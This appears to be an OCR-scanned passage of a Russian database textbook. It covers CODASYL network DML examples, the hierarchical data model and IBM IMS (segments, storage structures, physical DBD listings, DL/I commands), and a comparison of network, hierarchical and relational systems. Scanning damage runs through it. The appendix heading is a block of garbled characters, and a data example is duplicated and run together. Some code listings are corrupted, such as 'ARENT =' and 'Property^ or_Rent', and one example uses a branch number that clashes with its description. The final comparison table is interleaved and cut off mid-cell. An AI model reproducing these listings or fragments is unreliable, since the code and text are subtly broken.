Команды языка DML оперируют с каждой записью в отдельности, а не сразу с целым набором. Следовательно, для организации работы с многими записями необходимо использовать обычные программные конструкции: условные выражения и циклы.
Примеры использования языка DML
В этом разделе мы рассмотрим три примера использования языка управления данными DML, которые основаны на диаграмме схемы, показанной на рис. В.20. Поскольку цель этих примеров заключается в демонстрации методов управления наборами, то некоторые аспекты работы этой программы (например, обработка исключи-
тельных ситуаций), которые встречаются на практике, будут опущены. В двух из трех приведенных ниже примеров используется специальная переменная СУБД с именем DB-STATUS, которая называется “регистром” (register). Программа может постоянно опрашивать эту переменную, чтобы определить наличие исключительной ситуации на основании возвращаемых этой переменной значений.
Рис. В.20. Диаграмма схемы, используемая в примерах запросов
ПримерВ.1. Использование CODASYL-совместимого языка DML
Ввести в базу данных информацию о новом отделении компании (Branch).
MOVE 'В2' ТО Bno MOVE '56 Clover Dr' TO Street MOVE 'EastEnd' TO Area <и т.д.> STORE Branch <проверка успешности завершения этой операции> 2. Вывести сведения обо всех арендуемых объектах недвижимости, с которыми . ведется работа в отделении компании под номером 'В7'.
MOVE 'В7' ТО Впо•
FIND ANY Branch USING Bno <проверка успешности завершения этой операцни>
GET
<вывод полученных сведений>
FIND FIRST Property_for Rent WITHIN IsAllocated WHILE DB-STATUS=O ~ GET <вывод полученных сведений>
FIND NEXT Property_for_Rent WITHIN IsAllocated
ENDLOOP~
Вывести сведения обо всех объектах недвижимости, принадлежащих владельцу с номером 'СО87', вместе со сведениями о том, кто и когда их просматривал. MOVE ’С087’ ТО 0ПО FIND ANY P-owner USING Ono спроверка успешности завершения этой операции> GET <вывод полученных сведений*•
FIND FIRST Property for Rent WITHIN Owns WHILE DB-STATUS=O ~ ”
GET
<вывод полученных сведений> FIND FIRST Viewing WITHIN Takes WHILE DB-STATUS=O
GET
FIND OWNER WITHIN Attends
GET
<вывод полученных сведений> FIND NEXT Viewing WITHIN Takes
ENDLOOP
FIND NEXT Property_for__Rent WITHIN Owns ENDLOOP
4
igg
:^Ж^
^8^'^
ПРИЛОЖЕНИЕ
IMS»* v^^X
Иерархическаяодель данных
ш>м приложении... >чШ'^
ристика иерархической структуры.
ология и архитектура системы IMS как типичной ие
йй^<йф1ХБД. : ■ '■^i:O#^i<i-. SI
^■^ук^)ы баз данный ЯШ^ТИМЫе B;J|gg||j||;^:;f аёйшрение основных структур за счет предоставления Огра- ™^^азйх($етевых фун|^Д|(|Ц11^^
Д^Ж хрйение х||||^^№1'
деление дан$||^:.с^^'"^ЯЙв
Si
В этом приложении иерархическая модель данных рассматривается на примере самой известной СУБД этого типа — Information Management System (IMS) фирмы IBM. Иерархические СУБД используются до сих пор — в основном из-за уровня инвестиций, вложенных в уже существующие системы, стоимости работ по их замене, а также по той причине, что они вполне удовлетворительно выполняют свою работу в полном соответствии с требованиями организации, обеспечивая ключевые системные функции. Как и в сетевых СУБД, которые рассматривались в приложении В, “Сетевая модель данных”, в иерархических СУБД используются такие структуры и способы их реализации, которые позволяют отнести системы данного типа к классу “навигационных”. В этом разделе дается краткий обзор иерархических систем, более подробные сведения о них заинтересованный читатель сможет найти на Web-сайте, на котором находится эта книга. Все рассматриваемые в этом приложении примеры также взяты из учебного проекта DreamHome, который описывается в разделе 1.7.
Г.1. Иерархическая модель данных
Иерархическая Модель, объединяющая записи, хранимые в общей древовидной модель данных структуре с одним корневым типом записи, который имеет нуль или больше подчиненных типов записей. Каждый подчиненный тип записи также может иметь нуль или больше подчиненных типов записей.
Как следует из названия, данные в этой модели структурированы иерархически. Так же, как и в случае сетевых СУБД, сначала появились иерархические СУБД, а уже потом на их основе была разработана иерархическая модель данных. Однако, в отличие от сетевой модели данных, никогда не существовало никакого формального соглашения об архитектуре иерархической модели и синтаксисе ее языка.
В последующих разделах рассматриваются основные концепции иерархической модели данных, а также неизбежные недостатки этой структуры. Структура и определение данных в иерархической СУБД будут рассмотрены на примере системы IMS. Кроме того, подробно будут описаны способы управления данными.
Г.2. Иерархическая структура
Основной структурой, поддерживающей иерархическое представление информации, является дерево. Для моделирования информации с помощью древовидной структуры зачастую используется обобщенное дерево (general tree), которое схематично изображено на рис. ГЛ. На этом рисунке показано абстрактное представление данной структуры, состоящей из узлов (nodes), соединенных связями, которые называются дугами (arcs) или ребрами (edge). Самый верхний узел называется корневым узлом (root node). Он может иметь нуль или несколько дочерних узлов (child nodes), которые, в свою очередь, также могут иметь нуль или несколько дочерних узлов. В результате подобная структура может быть определена рекурсивно. Все узлы дерева, за исключением корня, должны иметь родительский узел. Любая часть дерева, исходящая из одного узла (помимо корня дерева), называется поддеревом (subtree). С практической точки зрения, каждый узел может быть представлен либо в виде некоторого типа записи, где каждая связь является встроенным указателем (или адресом), либо с помощью некоторого физического упорядочения записей.
Cl
Рис. Г.1. Обобщенное представление древовидной структуры
Узлы представляют интересующие нас объекты, а связи между ними определяются самим расположением узлов и ребер, которые, соединяя узлы, образуют эту древовидную структуру. Объекты могут иметь одинаковый тип. Например, в отделениях компании DreamHome информация о сотрудниках может быть иерархически упорядочена так, как показано на диаграмме типов, представленной на рис. Г.2, а. На этой диаграмме тип Staff-Manager является старшим по отношению к типу Staff-Senior, который в свою очередь является старшим по отношению к типу Staff-Clerical. На рис. Г.2, б показан экземпляр этой структуры для отделения компании с номером 'ВЗ'. Руководитель отделения (Branch Manager) представлен корневым узлом этого дерева. На уровень ниже располагаются его заместитель (Deputy) и старшие референты (Senior Assistants) (они представляются экземплярами записей типа Staff-Senior), а на самом низкдм уровне находятся обычные референты (Assistants), которые подчиняются старшим референтам.
грамма типов с указанием кардинальности связей; б) диаграмма экземпляров
Интересующие нас объекты, наоборот, могут быть разными сущностями, как это показано на рис. Г.3, а. Здесь сущность Branch образует корень дерева, а сущности Staff и Property_for_Rent являются его дочерними узлами, тогда как сущность Viewing — это дочерний узел сущности Property_for_Rent. На рис. Г.3, б показан один эк-
земпляр этой структуры для отделения компании 'ВЗ' с соответствующими данными для сущностей Staff, Property_for_Rent и Viewing. Из этой диаграммы видно, что иерархическая структура вполне естественным образом поддерживает связи как типа “один ко многим” (1:М), так и типа “один к одному” (1:1).
Рис. Г.З. Иерархия разных типов записи: а) диаграмма типов с разными типами записи; б) диаграмма экземпляра для отделения компании '83'
Проанализировав эту диаграмму, можно сделать вывод, что между двумя узлами может быть только одна связь, а связи в конкретной структуре могут иметь только определенное упорядочение. Однако на самом деле между узлами может быть задано сразу несколько ссылок, например от родительского к дочернему узлу и обратно. Упорядочение указателей может быть таким, что все однотипные экземпляры могут быть связаны вместе. В основном на способ организации ссылок влияет характер алгоритма обработки, который должна поддерживать данная структура. Методы реализации подобных структур в системе IMS рассматриваются в разделе Г.4.
В обобщенной структуре дерева типы записей обычно упорядочены внутри структуры, причем, как правило, слева направо. Экземпляры записей также обычно упорядочиваются. На рис. Г.З, а тип записи Staff находится слева от типа записи Prop- erty_for_Rent, записи типа Staff располагаются первыми, поэтому при любом типе обработки этой структуры записи типа Staff всегда будут обрабатываться раньше, чем записи типа Property_for_Rent. Такое упорядочение типов записей может существенно повысить эффективность операций извлечения данных.
При работе с обобщенной древовидной структурой используются два метода доступа ко всем узлам (типам записей) внутри дерева. Один метод начинается с доступа к корню с последующей обработкой всего дерева с доступом к поддеревьям в порядке слева направо. Это так называемый прямой порядок обхода дерева (pre-order traversal), или нисходящий порядок обхода. Другой метод начинается с доступа к самым нижним узлам с постепенным восходящим переходом от одного поддерева к другому слева направо и с завершением обработки в корне. Этот метод называют обратным порядком обхода дерева (post-order traversal) или восходящим порядком обхода. В табл. Г.1 показан порядок, в котором будут располагаться записи, если их извлекать при прямом и обратном порядке обхода дерева, показанного на рис. Г.З, б.
Таблица Г.1. Последовательность выборки записей при прямом (а) и обратном (б) порядке обхода дерева, представленного на рис. Г.3, б ~а) ВЗ SG5 SG14 SG23 SG37 PG4 CR76 CR56 PG16 PG21 PG36 CR56
SG5 SG14 SG23 SG37 CR76 CR56 PG4 PG16 PG21 CR56 PG36 ВЗ
В информационных структурах чаще всего используется нисходящий порядок обхода, поскольку самые важные данные, как правило, располагаются на самых высоких уровнях древовидной структуры. Данные на более низких уровнях обычно логически связаны с данными на более высоких уровнях, а потому в случае необходимости они могут быть извлечены вместе с этими высокоуровневыми данными. Например, при доступе только к записям типа Viewing, показанным на рис. Г.3, б, можно получить сведения о том, сколько всего состоялось просмотров, но без какой- либо информации о просмотренных объектах недвижимости. Поэтому прямой порядок обхода упрощает извлечение данных на более высоких уровнях, а также данных, зависящих от них, если таковые существуют. Выборочный доступ к данным можно организовать путем изменения общего прямого порядка обхода с доступом только к интересующим нас данным, а не ко всей имеющейся информации.
Набор всех экземпляров записей одного корня называется единым экземпляром дерева. В некоторых особых реализациях структуры данных единый экземпляр дерева эквивалентен записи в базе данных.
Г.2.1. Преимущества и недостатки иерархических структур
Важной особенностью иерархической структуры является то, что в ней дочерние экземпляры не могут существовать без наличия родительских экземпляров. Это вызвано присутствием в данной структуре такой встроенной зависимости, при которой при удалении корневого экземпляра удаляется все дерево (или поддерево). Подобный подход обладает как преимуществами, так и недостатками. Одним из преимуществ является то, что целостность на уровне ссылок (см. раздел 3.3.3) автоматически обеспечивается там, где экземпляры записей полностью зависят от других экземпляров записей. Например, на рис. Г.3, б удаление экземпляра типа записи Ргор- erty_for_Rent приводит к удалению связанных с ним экземпляров типа записи Viewing. И, наоборот, экземпляр записи типа Viewing нельзя вставить, если соответствующего ему экземпляра записи типа Property_for_Rent не существует.
Недостатки такой структуры связаны с невозможностью хранения экземпляров записей, которые не имеют никаких родительских записей. Например, удаление экземпляра записи Branch (см. рис. Г.3, б) приведет к удалению всех связанных с ним экземпляров записей других типов. В подобной структуре совсем непросто сохранить в базе записи типа Staff или типа Property_for_Rent, если они не относятся ни к одной из имеющихся записей Branch. Конечно, существует несколько методов разрешения этой проблемы — например, путем введения пустой подстановочной записи Branch, — но основное затруднение заключается в том, что подобная структура не позволяет достаточно просто моделировать характер экземпляров данных из реального мира.
Другим важным недостатком иерархической модели данных является трудность моделирования связей типа “многие ко многим” (M:N) или других, более сложных неиерархических связей, в которых тип записи имеет несколько разных связей с несколькими другими типами записей. Например, помимо связей между типами Staff и Branch, Property_for_Rent и Branch, существует связь между типами Staff и Ргор- erty_for_Rent. Кроме того, связь между Renter и Viewing существует помимо связей между записями Branch и Property_for_Rent. Для хранения этих связей необходимо иметь иерархические структуры, которые дополняют структуру, показанную на
рис. Г.3, а. Все это приводит к необходимости дублирования данных и повышению уровня накладных расходов на их сопровождение. Подобные дополнительные структуры показаны на рис. Г.4.
Рис. Г.4. Дополнительные иерархические структуры, необходимые для представления сложных связей
Теперь мы приступим к краткому обсуждению свойств системы IMS как типичного представителя иерархических СУБД. СУБД IMS является большой и сложной системой, для эффективной работы с которой необходимо обладать обширными знаниями и навыками. Именно эта особенность часто затрудняет принятие решения о ее замене. В самых последних выпусках системы IMS поддерживаются расширения основных концепций иерархической системы, причем среди прочих компонентов в них представлены ограниченные сетевые функции.
Г.2.2. Терминология, используемая в системе IMS
Используемая в системе IMS терминология отличается от применяемой до сих пор. Например, в системе IMS используются такие понятия:
тип сегмента (segment type), который применятся вместо термина “тип записи’*;
физическая база данных, которая содержит несколько записей базы данных;
описание физической базы данных, или ОВД (Physical Database Description — DBD), которое определяет структуру и характеристики физической базы данных и создается с помощью языка DL/1.
Каждая физическая база данных определяется на основе ее физического ОБД, которое может представлять собой строгое иерархическое упорядочение сегментов. Она также может включать логические связи (logical relationships), которые используются для моделирования сложных связей, например связей типа M:N. Поскольку логические связи определяются в физическом ОБД, то результирующая логическая структура для системы IMS должна быть определена еще до ее использования. Эта задача выполняется с помощью логического ОБД, в котором эффективно определяется фактическая структура используемых базовых физических ОБД.
На внешнем уровне каждый пользователь обладает представлением базы данных, которое называется блоком спецификации программы (или БСП-блоком (Program
Specification Block — PSB)). Пользовательский БСП-блок состоит из одного или нескольких коммуникационных блоков программы (или КБП-блоков (Program Communication Block — РСВ)), каждый из которых определяет внешнюю схему отдельной программы.
Г.З. Структуры базы данных
Физическая база данных определяется структурой хранения данных базы, которая представляет собой иерархию типов сегментов, причем некоторые из них могут содержать логические указатели на типы сегментов в других структурах данных базы (физических базах данных). Каждый тип сегмента определяется с помощью физического ОБД, которое задает структуру базы данных. В листинге ГЛ приведено описание корневого (родительского) и зависимого (дочернего) типов сегмента. В каждом описании сегмента сначала указываются имя сегмента, его размер в байтах и имя родительского сегмента, а затем следуют описания полей. Каждое поле имеет имя, размер, начальную позицию внутри сегмента и заданный тип, например определяемый символом С. Вслед за именем поля может располагаться обозначение SEQ, которое служит для указания того, что данное поле выполняет роль уникального ключевого поля.
Листинг ГЛ. Пример описания родительского и дочернего сегментов
SEGM NAME = Branch, BYTES = 23, PARENT = О имя сегмента, его размер и имя его родительского сегмента FIELD NAME = (Bno, SEQ), BYTES = 3, START = 1, TYPE = C имя поля, индикатор ключа, размер и тип поля FIELD NAME = Street, BYTES =20, START = 4, TYPE = C имя поля, его размер и тип
SEGM NAME = Staff, BYTES = 35, PARENT = Branch
FIELD NAME = (Sno, SEQ), BYTES = 5, START = 1, TYPE = C
FIELD NAME = Fname, BYTES =15, START = 6, TYPE = C
FIELD NAME = Lname, BYTES =15, START =21, TYPE = C
Г.3.1. Иерархические структуры
Физическая база данных является иерархической структурой, которая может включать связи типа 1:М и 1:1. На рис. Г.5, а показана очень простая иерархия, а на рис. Г.5, б — более общий вариант иерархии, в которой один тип записи зависит от другого.
Рис. Г.5. Основные варианты иерархических структур в системе IMS: а) простая иерархия; б) обобщенная иерархия
Г.3.2. Представление связей типа M:N
Как уже упоминалось выше, в иерархических структурах достаточно сложно организовать работу со связями типа M:N. В системе IMS один из приемов заключается в сохранении данных в двух местах, т.е. за счет повышения избыточности данных в базе. Например, если объект недвижимости рекламируется в нескольких газетах, а в одной газете рекламируется сразу несколько объектов недвижимости, то связь между записями Newspaper и Property_for_Rent имеет тип M:N. Эту связь можно представить одним из способов, показанных на рис. Г.6. Как показано на рис. Г.6, а, запись с описанием одного и того же объекта недвижимости может быть продублирована для каждой газеты, в которой рекламируется данный объект. На рис. Г.6, б показан другой вариант, в котором запись с описанием одной и той же газеты может быть продублирована для каждого объекта недвижимости, который в ней рекламируется.
(а)(б)(а)(б)
(а)(б)
(а)(б)
Рис. Г.6. Два варианта представления связи типа M:N между записями Newspaper и Proper ty_for_Rent
Г.4. Реализация
Общее понимание базовых структур хранения и методов реализации логической структуры позволяют лучше понять и освоить работу с системой IMS. Ранее уже отмечалось, что существуют два основных способа представления и реализации иерархической структуры. Один из них заключается в таком размещении всех экземпляров сегментов в иерархической последовательности, при котором они физически располагались бы рядом друг с другом. Последовательность, в которой они хранятся, соответствует прямому порядку обхода, и именно этот метод используется в структурах хранения последовательного доступа. Рассмотрим следующий простой пример данных:
BranchвзBranchВЗProperty_for_RentPG4PG36BranchвзBranchВЗProperty_for_RentPG4PG36HasIsAllocatedTakesHasIsAllocatedTakesStaffSG5, SG14 и SG37Property_f orientPG4, PG16, PG21 и PG36ViewingCR76 и CR56CR56StaffSG5, SG14 и SG37Property_f orientPG4, PG16, PG21 и PG36ViewingCR76 и CR56CR56
Branch
вз
Branch
ВЗ
Property_for_Rent
PG4
PG36
Branch
вз
Branch
ВЗ
Property_for_Rent
PG4
PG36
Has
IsAllocated
Takes
Has
IsAllocated
Takes
Staff
SG5, SG14 и SG37
Property_f orient
PG4, PG16, PG21 и PG36
Viewing
CR76 и CR56
CR56
Staff
SG5, SG14 и SG37
Property_f orient
PG4, PG16, PG21 и PG36
Viewing
CR76 и CR56
CR56
Хранение сегментов (физически) рядом друг с другом в порядке прямого обхода приводит к упорядочению записей, показанному в табл. Г.1, а. Другой метод реализации иерархической структуры основан на использовании указателей, которые могут быть упорядочены различными способами. Самый распространенный способ реализации заключается в размещении указателей между родительскими и дочерними сегментами, а также между экземплярами сегментов одного типа (указатели на сегменты-близнецы). Реализация этого метода показана на рис. Г.7. Хотя на этом рисунке показан только один набор указателей (прямые ссылки), на практике можно организовать и обратный набор указа-
телей (обратные ссылки). Самым распространенным логическим порядком сегментов остается прямой порядок обхода. Однако включение дополнительных указателей упрощает перемещение, позволяя двигаться не только строго в порядке прямого обхода.
Рис* Г.7* Пример размещения указателей в иерархической структуре системы IMS
В некоторых других реализациях используются комбинации этих методов. Например, указатели могут использоваться для соединения родительского сегмента с первым экземпляром дочернего сегмента, тогда как другие экземпляры дочернего сегмента физически хранятся рядом с первым экземпляром дочернего сегмента. Этот метод оказывает влияние на гибкость, а значит, и на производительность приложения, к тому же он определяется структурой хранения, выбранной для физической базы данных.
Г.4.1. Структуры хранения
Каждый физический файл имеет собственную структуру хранения, которая определяется требованиями к его обработке. Основные структуры хранения делятся на следующие две группы (хотя имеются и некоторые другие типы):
структуры хранения с последовательным доступом;
структуры хранения с прямым доступом.
Ниже перечислены самые распространенные структуры хранения, используемые в рамках указанных групп.
Иерархический последовательный метод доступа (Hierarchical Sequential Access Method — HSAM).
Иерархический индексно-последовательный метод доступа (Hierarchical Indexed Sequential Access Method — HISAM).
Иерархический прямой метод доступа (Hierarchical Direct Access Method — HDAM).
Иерархический индексно-прямой метод доступа (Hierarchical Indexed Direct Access Method — HIDAM).
Основное хранилище базы данных (Main Storage DataBase — MSDB).
База данных для ввода информации (Data Entry DataBase — DEDB).
Обобщенный последовательный метод доступа (Generalized Sequential Access Method — GSAM).
В структурах последовательных методов доступа сегменты физически располагаются рядом друг с другом в иерархическом порядке, тогда как в структурах методов прямого доступа сегменты содержат указатели на другие сегменты. В общем случае предполагается, что указанные структуры хранения используются следующим образом.
Структура HSAM применяется для относительно небольших баз данных с невысокими требованиями к возможностям доступа.
Структура HISAM применяется в базах данных, в которых требуется обеспечить прямой доступ к сегментам данных, в частности в тех случаях, когда: ♦ все сегменты имеют одинаковый размер;
записи имеют фиксированную длину;
есть несколько корневых и много дочерних сегментов;
удаления выполняются не очень часто.
Структура HDAM применяется для быстрого прямого доступа.
Структура HIDAM используется в случаях, когда пользователям требуется предоставить одновременно и прямой, и последовательный доступ.
Структура MSDB эффективна для баз данных с фиксированной длиной сегментов, когда необходимо быстро выполнять ее обработку.
Структура DEDB применяется в базах данных с большим объемом данных.
Г.5. Описание базы данных
Существуют два типа описаний баз данных (ОВД):
физическое ОВД, которое определяет физическую структуру базы данных;
логическое ОВД, которое определяет виртуальную структуру базы данных, основанную на физических структурах базы данных нижнего уровня.
В этом приложении мы рассмотрим только физическое ОВД. Заинтересованный читатель сможет найти расширенную версию данного приложения, включающую рассмотрение логического ОВД, на Web-сайте этой книги.
Г.5.1. Физическое ОБД
Физическое описание базы данных системы IMS содержит имя физической базы данных, ее базовую структуру файлов, а также описывает структуру базы данных. Эта структура включает корневой сегмент вместе со всеми зависящими от него типами сегментов. Каждый тип сегмента определяется в том порядке, в котором он хранится в этой структуре. Например, в структуре базы данных, показанной в табл. Г.1, б, типы сегментов будут определены в следующем порядке: Branch, Staff, Property_for_Rent и Viewing.
В листинге Г.2 приведено физическое ОБД для некоторой части базы данных компании DreamHome. Каждое ОБД начинается с указания имени базы данных, за которым следует название структуры хранения. Например, база данных BranchDB имеет структуру хранения HIDAM. Затем в иерархическом порядке располагаются типы сегментов, за которыми идут завершающие команды генерации базы данных и окончания этого процесса. Описание типа сегмента содержит имя его родительского сегмента (если он не является корневым), длину и сведения о полях. Обычно каждый тип сегмента содержит некоторые поля данных, для каждого из которых указывается начальное смещение в байтах внутри сегмента, а также длина в байтах. Кроме того, одно поле может быть определено как ключевое в корневом сегменте, который может быть уникальным или неуникальным. Если некоторое ключевое поле задано в корневом сегменте (за исключением баз данных со структурой HSAM), то прикладная программа сможет легко получить доступ к заданной записи в базе данных. Ключевое поле в системе IMS называется полем последовательности и обозначается символами SEQ. По умолчанию оно является уникальным, если
специально не оговорено обратное. Символ U обычно используется для обозначения уникальных значений, а символ М — для обозначения возможности наличия дубликатов. Корневой сегмент в структурах HISAM, HDAM и HIDAM обязательно должен содержать уникальное поле последовательности.
; Листинг Г.2. Пример физического ОВД с указанием односторонних
I логических связей для части базы данных компании DreamHome, содержащей
j сведения об арендуемых объектах недвижимости
DBD NAME = BranchDB, ACCESS = HIDAM
SEGMNAME=Branch, BYTES = 23, PARENT = 0
FIELDNAME=(Bno, SEQ), BYTES = 3, START = 1, TYPE =C
FIELDNAME=Street, BYTES = 20, START = 4, TYPE = C
SEGMNAME=Staff, BYTES = 35, PARENT = Branch
FIELDNAME=(Sno, SEQ), BYTES = 5, START = 1, TYPE =C
FIELDNAME=Fname, BYTES =15, START = 6, TYPE = C
FIELDNAME=Lname, BYTES = 15, START = 21, TYPE = C
SEGM NAME = Property_for_Rent, BYTES = 79, ARENT = ((Branch), (Owner, V, OwnerDB)), POINTER = LPARNT
имя сегмента, размер, физический родитель, логический родитель с указанием типа и расположения
FIELDNAME=(Pno,SEQ), BYTES = 5,START = 1, TYPE = C
FIELDNAME=Street, BYTES = 20, START = 6, TYPE = C
SEGM NAME = Viewing, BYTES =13, PARENT = Property^ or_Rent,
FIELDNAME=(Rno,SEQ, M), BYTES =5, START = 1, TYPE = C
FIELDNAME=Date,BYTES = 8, START= 6, TYPE = C
DBDGEN
FINISH END
DBD NAME = OwnerDB, ACCESS = HIDAM
SEGM NAME = Owner, BYTES =103, PARENT = 0
FIELDNAME = (Ono, SEQ, U), BYTES = 5, START = 1, TYPE = C
FIELDNAME = Fname, BYTES = 15, START = 6, TYPE = C
FIELD NAME = Tel-no, . . . .
LCHILD NAME = (Property_for_Rent, BranchDB) имя и расположение логического дочернего сегмента
DBDGEN FINISH END
Все указатели определяются в физическом ОВД. Они включают не только типы указателей, допустимых для объявленной структуры файла (исключая HSAM), но также любые логические указатели, которые используются для определения логической структуры базы данных среди различных физических структур баз данных. В листинге Г.2 показан
пример определения однонаправленной логической связи между сегментами Prop- erty_for_Rent и Owner. Соответственно в описании сегмента Property_for_Rent упоминается не только его физический родительский сегмент (Branch), но и логический родительский сегмент (Owner) вместе с названием физической базы данных (OwnerDB), в которой находится логический родительский сегмент. Помимо описания логического родительского сегмента, нужно описать используемый тип указателя. Он задается с помощью символа V (виртуальный указатель) и предложения POINTER=, которое обозначает сохранение физического адреса логического родителя для предоставления ускоренного доступа к нему. Для установления соответствия между описаниями сегментов Property_for_Rent и Owner в описании сегмента Owner должна содержаться команда (LCHILD), которая обозначает, что сегмент Owner имеет логический дочерний сегмент, описывает его имя и имя физической базы данных, в которой хранится этот логический дочерний сегмент.
Г.6. Язык управления данными DML
Язык DML включает команды языка DL/I (Data Language with Indexes), которые встраиваются в базовые языки программирования. В качестве базового языка программирования могут использоваться такие языки, как COBOL, PL/1 или язык ассемблера. Управление данными осуществляется с помощью записанных на базовом языке внешних вызовов соответствующих команд языка DL/I. Команды языка DML последовательно обрабатывают один сегмент за другим и не предназначены для обработки групп сегментов. В этом отношении они похожи на команды CODASYL-совместимого языка DML, в которых обычные программные конструкции должны использоваться вместе с операторами CALL. Ниже приводятся небольшие примеры использования языка DL/I для создания некоторых запросов, основанных на структуре базы данных, описанной в листинге Г.2. В этих примерах операторы CALL показаны не полностью — приведена только самая существенная их часть. Однако команды языка DL/I показаны полностью, с указанием (в скобках) сокращенной формы их записи.
Пример ГЛ. Использование иерархического языка DML
; 1. Ввести в базу данных информацию о новом отделении компании (Branch).
> <создать запись в области ввода/вывода, например, так:>
MOVE 'В2' ТО Впо
MOVE '56 Clover Dr' ТО Street
t MOVE 'EastEnd' TO Area
. <и т.д.>
INSERT (ISRT) Branch
. 2. Вывести сведения обо всех объектах недвижимости, с которыми ведется работа в отделении компании с номером 'В7'.
GET UNIQUE (GU) Branch Впо = 'B7'
WHILE NOT FINISHED
GET NEXT WITHIN PARENT (GNP) Property for Rent
,<вывод полученных сведений>
ENDLOOP
3. Обновить комментарии по поводу просмотра объекта недвижимости с номе- । ром *PG4г» который был организован в отделении компании с номером ‘ВЗ’.
GET UNIQUE (GU) Branch Впо = 'B7'
; GET HOLD UNIQUE (GHU) Property for Rent Pno = 'PG4'
' Viewing Rno = 'CR56'
!<при этом на сегмент накладывается блокировка>
<вплоть до завершения его обновления>
MOVE 'Riddled with dryrot' TO Comments
REPLACE(REPL)
В этом приложении представлен краткий обзор особенностей сетевой, иерархической и реляционной моделей систем баз данных, выполненный в форме сравнения их основных характеристик.
Д.1. Сетевая модель данных
Непосредственно поддерживает бинарные связи и связи более высоких степеней типа 1:1 и 1:М.
Поддерживает бинарные связи и связи более высоких степеней типа M:N с помощью декомпозиции.
Поддерживает рекурсивные связи с помощью декомпозиции.
Типы записей непосредственно связаны друг с другом с помощью конструкции “тип набора”.
Целостность на уровне ссылок поддерживается за счет конструкций “тип набора”.
Обладает ограниченной гибкостью по отношению к изменению требований к данным и методам доступа.
Доступ к типам записей осуществляется путем “перемещения” (навигации) по структуре. В зависимости от конкретного расположения типа записи по отношению к начальной точке в структуре, для доступа к данным могут использоваться различные специальные команды.
Д.2. Иерархическая модель данных
Непосредственно поддерживает бинарные связи и связи более высоких степеней типа 1:1 и 1:М.
Бинарные связи и связи более высоких степеней типа M:N поддерживаются только с помощью декомпозиции и дублирования данных в разных иерархиях.
Рекурсивные связи поддерживаются только с помощью декомпозиции и дублирования данных.
Типы записей непосредственно связаны друг с другом с помощью иерархической структуры.
Целостность на уровне ссылок поддерживается в тех случаях, когда зависимый дочерний тип записи полностью участвует в связи со своим родительским типом записи.
Не обладает гибкостью по отношению к изменению требований к данным и методам доступа.
Доступ к типам записей осуществляется путем “перемещения” (навигации) от корневого типа записи к типам записи более низкого уровня в данной иерархии при ее прямом или обратном обходе.
Д.З. Реляционная модель данных
Непосредственно поддерживает бинарные связи и связи более высоких степеней типа 1:1 и 1:М, а также рекурсивные связи типа 1:1 и 1:М.
Бинарные связи и связи более высоких степеней типа M:N поддерживаются с помощью декомпозиции.
Рекурсивные связи типа M:N поддерживаются с помощью декомпозиции.
Типы записей связаны друг с другом символически с помощью конструкции “первичный/внешний ключ”.
В реляционной модели поддерживается целостность на уровне ссылок.
Обладает гибкостью по отношению к изменению требований к данным и методам доступа.
Доступ к типам записей осуществляется с помощью команд реляционной алгебры или реляционного исчисления. Эти команды могут быть вложенными, что позволяет создавать сложные запросы.
.4. Сводная сравнительная характеристика систем баз данных
В табл. Д.1 проведен сравнительный анализ особенностей сетевой, иерархической и реляционной систем баз данных.
Таблица Д.1. Сравнительная характеристика трех типов систем управления базами данных
Критерий
CODASYL-система
IMS (иерархическая система)
Реляционная система
Период создания
1960-1970 годы
1960-1970 годы
1970 год - настоящее время
Над чем ведется
Разделение физиче-
Обеспечение взаимодействия с
Повышение производи
работа сейчас
ских и логических концепций
другими системами и типами СУВД
тельности, обеспечение совместимости с SQL2, а также добавление объектно-ориентированных компонентов
Реализация
Записи и указатели
Обычно записи и указатели, но могут быть и просто физически смежные записи
Записи со значениями, которые могут использоваться как логические указатели
Базовая физическая структура данных
Сеть, в которой записи связаны друг с другом в один набор с помощью указателей. Записи могут содержать встроенные в них указатели
Обобщенная древовидная структура, в которой один тип записи образует корень, а все другие типы записей - зависимые от корня узлы
Двумерная таблица
Общая структура
Прямые методы дос
Методы доступа HIDAM, НОАМ,
Разные методы досту
файлов и методы
тупа и индексно
HISAM и HSAM. Варианты прямого
па - от последователь
доступа к ним
последовательные методы доступа (включая метод VSAM)
доступа и индекснопоследовательных методов доступа (включая метод VSAM)
ных файлов с индексами и методов прямого доступа вплоть до сложных древовидных поисковых структур
Логическая структура данных
Набор, в котором один тип записи- владельца может быть связан со многими типами записей- членов. Сложные сети создаются с помощью типов наборов
Обобщенная древовидная структура
Набор двумерных таблиц
Продолжение табл. Д.1
Критерий
CODASYL-система
IMS (иерархическая система)
Реляционная система
Поддерживаемые типы связей
Связи типа 1:1 и 1 :М. Связи типа M:N и рекурсивные связи поддерживаются с помощью декомпозиции. С ними проще всего работать в иерархической системе
Связи типа 1:1 и 1:М. Связи типа M:N обычно поддерживаются с помощью логических указателей, которые связывают разные физические структуры данных. Рекурсивные связи поддерживаются с помощью декомпозиции и дублирования
Связи типа 1:1 и 1:М. Связи типа M:N и рекурсивные поддерживаются с помощью декомпозиции
Поддержка целостности на уровне ссылок для связей типа “родитель- потомок”
Обеспечивается средствами СУВД с использованием правил вставки и сохранения для структуры наборов. Если записи- члены закреплены за записью-владельцем, то удаление записи- владельца приводит к каскадному удалению записей-членов. Если записи-члены необязательно являются частью набора, то удаление записи- владельца эквивалентно заданию неопределенной связи (NULL). Можно запрограммировать и другие варианты действий. Обычно внешние ключи в типах записей не требуются
Обеспечивается средствами СУБД с использованием зависимостей в древовидной структуре. То есть при удалении корня дерева (или поддерева) будут удалены все зависящие от него узлы, что эквивалентно каскадному удалению. Обычно в типах записей внешние ключи не нужны. Сложности могут возникнуть в случаях, когда связи M:N представляются с помощью логических указателей
Поддержка варьируется от разработки процедур, правил или триггеров, используемых непосредственно средствами СУБД, вплоть до процедур, реализованных в прикладных программах. Стандарт SQL92 требует реализации этой функции механизмами самой СУБД
Логическая независимость от данных
Концептуальная схема может быть расширена без изменения подсхем. При перестройке или удалении из концептуальной схемы типов записи, поля и набора потребуется внести поправки только в те представления, в которых они используются
Полностью аналогична CODASYL- системам
Полностью аналогична
CODASYL-системам
Продолжение табл. Д.1
Критерий
CODASYL-системаIMS (иерархическая система)Реляционная система
Физическая независимость от данных
Концептуальная схемаПри изменении структуры хране-В тех случаях, когда
должна быть измене-ния может потребоваться изменитьдопускается выбор из
на в соответствии сконцептуальную схему (ОВД) инескольких возможных
изменениями структу-внести поправки в логику обработ-физических структур
ры хранения в техки данных в приложениях. Для уп-данных, некоторые
местах схемы, в кото-рощения процесса измененияСУБД при необходимо-
рых описаны деталиструктур хранения предусмотренысти позволяют опреде-
